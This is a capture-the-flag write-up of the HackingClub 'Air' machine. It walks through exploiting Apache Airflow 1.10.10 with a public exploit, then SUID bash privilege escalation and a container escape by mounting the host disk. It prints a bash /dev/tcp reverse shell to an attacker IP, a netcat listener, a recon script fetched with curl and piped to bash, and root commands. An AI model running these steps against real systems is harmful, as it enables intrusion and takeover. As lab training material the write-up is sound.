[Write-Up] HackingClub: Air
Table of Contents
Recon #
Nmap #
┌──(kali㉿kali)-[~/Machines/HC-Air]
└─$ nmap -sV air.hc
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-05 19:16 -0400
Nmap scan report for air.hc (172.16.9.242)
Host is up (0.28s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
111/tcp open rpcbind 2-4 (RPC #100000)
8080/tcp open http Gunicorn 19.10.0
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.70 seconds
Stack #
- Web Server: GUnicorn
- Language: Python
- JavaScript: jQuery, Moment.JS, Select2, Boostrap
- Apache Airflow 1.10.10, version confirmed via the app’s own Documentation link in the UI.
Vulnerabilities #
RCE on Apache Airflow Examples - CVE-2020-11978 #
Apache Airflow 1.10.10 has two CVE (CVE-2020-13927 and CVE-2020-11978) that leads to RCE. We can find a POC on exploit-db Apache Airflow 1.10.10 - ‘Example Dag’ Remote Code Execution.
Exploitation #
We get the exploit from exploit-db and run it on the attacker machine, running a reverse shell on it:
┌──(kali㉿kali)-[~/Machines/HC-Air]
└─$ python3 exploit.py http://air.hc:8080 'bash -i >& /dev/tcp/10.0.9.28/4444 0>&1'
[+] Checking if Airflow Experimental REST API is accessible...
[+] /api/experimental/test returned 200
[+] example_trigger_target_dag.bash_task is vulnerable
[+] example_trigger_target_dag was enabled
[+] Creating new DAG...
/[+] Successfully created DAG
[+] "Created <DagRun example_trigger_target_dag @ 2026-10-06 00:39:39+00:00: manual__2026-10-06T00:39:39+00:00, externally triggered: True>"
[.] Waiting for the scheduler to run the DAG... This might take a minute.
[.] If the bash task is never queued, then the scheduler might not be running.
[.] Bash task queued...
[+] Bash task running...
After it’s queued and run, we get a shell on our machine:
┌──(kali㉿kali)-[~/Machines/HC-Air]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.0.9.28] from (UNKNOWN) [172.16.3.205] 57462
bash: cannot set terminal process group (4229): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ whoami
whoami
airflow
bash-5.0$
Improve the shell using python3, then we can start recon:
python3 -c 'import pty; pty.spawn("/bin/bash")'
stty -a | grep -E "rows|columns" # note down numbers
stty raw -echo; fg
export TERM=xterm-256color
stty rows Y columns X # with numbers from before
Looking into root of the file system we see a .dockerenv file, a entrypoint script and the hostname is a hash. Looking into cgroups we find out we are in a docker environment:
bash-5.0# cat /proc/self/cgroup
11:cpuset:/docker/81c72b775012964f5a931290c8d12c92f55962f114024832b022880aa84cdb5e
10:memory:/docker/81c72b775012964f5a931290c8d12c92f55962f114024832b022880aa84cdb5e
9:pids:/docker/81c72b775012964f5a931290c8d12c92f55962f114024832b022880aa84cdb5e
8:blkio:/docker/81c72b775012964f5a931290c8d12c92f55962f114024832b022880aa84cdb5e
7:net_cls,net_prio:/docker/81c72b775012964f5a931290c8d12c92f55962f114024832b022880aa84cdb5e
6:freezer:/docker/81c72b775012964f5a931290c8d12c92f55962f114024832b022880aa84cdb5e
5:perf_event:/docker/81c72b775012964f5a931290c8d12c92f55962f114024832b022880aa84cdb5e
4:devices:/docker/81c72b775012964f5a931290c8d12c92f55962f114024832b022880aa84cdb5e
3:hugetlb:/docker/81c72b775012964f5a931290c8d12c92f55962f114024832b022880aa84cdb5e
2:cpu,cpuacct:/docker/81c72b775012964f5a931290c8d12c92f55962f114024832b022880aa84cdb5e
1:name=systemd:/docker/81c72b775012964f5a931290c8d12c92f55962f114024832b022880aa84cdb5e
Running a Linux recon script we find out that the SUID bit is set on bash binary, which leads us to root on the container:
bash-5.0$ curl http://10.0.9.28:8000/linrecon.sh | bash
curl http://10.0.9.28:8000/linrecon.sh | bash
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1853 100 1853 0 0 3239 0 --:--:-- --:--:-- --:--:-- 3233
[+] Current user: airflow
User id: uid=50000(airflow) gid=50000(airflow) groups=50000(airflow)
User groups: airflow
[+] Passwordless sudo commands:
sudo: a password is required
[+] User history:
[+] Loading /etc/passwd content
[+] Login users:
root
airflow
(...) # Hidden
[+] SUID files
/bin/bash # <-- SUID on bash
/bin/mount
/bin/su
/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/ksu
/usr/bin/sudo
/usr/lib/openssh/ssh-keysign
[+] Files changed recently
[+] Files with capabilities
[+] Cron jobs
cat: /etc/crontab: No such file or directory
Running bash with -p flag we promote ourselves to root and find the first flag:
bash-5.0$ /bin/bash -p
bash-5.0# whoami
root
bash-5.0# ls /root
user.txt
bash-5.0# cat /root/user.txt
UHCLABS{REDACTED}
Privilege Escalation #
The next flag will require some form of container escape, so we start out by looking if we have privileges:
bash-5.0# grep -E 'CapEff|Seccomp|NoNewPrivs' /proc/self/status
CapEff: 0000003fffffffff
NoNewPrivs: 0
Seccomp: 0
Next we assess volumes available:
root@81c72b775012:/mnt# lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
nvme0n1 259:0 0 8G 0 disk
├─nvme0n1p1 259:1 0 8G 0 part /mnt
└─nvme0n1p128 259:2 0 1M 0 part
root@81c72b775012:/mnt# fdisk -l
Disk /dev/nvme0n1: 8 GiB, 8589934592 bytes, 16777216 sectors
Disk model: Amazon Elastic Block Store
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: 0A26FA1B-8D9E-492E-9CA8-225C968C2DC9
Device Start End Sectors Size Type
/dev/nvme0n1p1 4096 16777182 16773087 8G Linux filesystem
/dev/nvme0n1p128 2048 4095 2048 1M BIOS boot
Partition table entries are not in disk order.
We try mount /dev/nvme0n1p1, it mounts successfully and we can find the flag at /root from host machine, due to being root on the container:
root@81c72b775012:/tmp# mount /dev/nvme0n1p1 /mnt
root@81c72b775012:/mnt# cat /mnt/root/root.txt
UHCLABS{REDACTED}
Reference for container escape from Kubernetes Container Escape: Attack Paths and eBPF Detection.
Flags #
- User (SUID bash, root inside container):
UHCLABS{REDACTED} - Root (volume mount, host root.txt):
UHCLABS{REDACTED}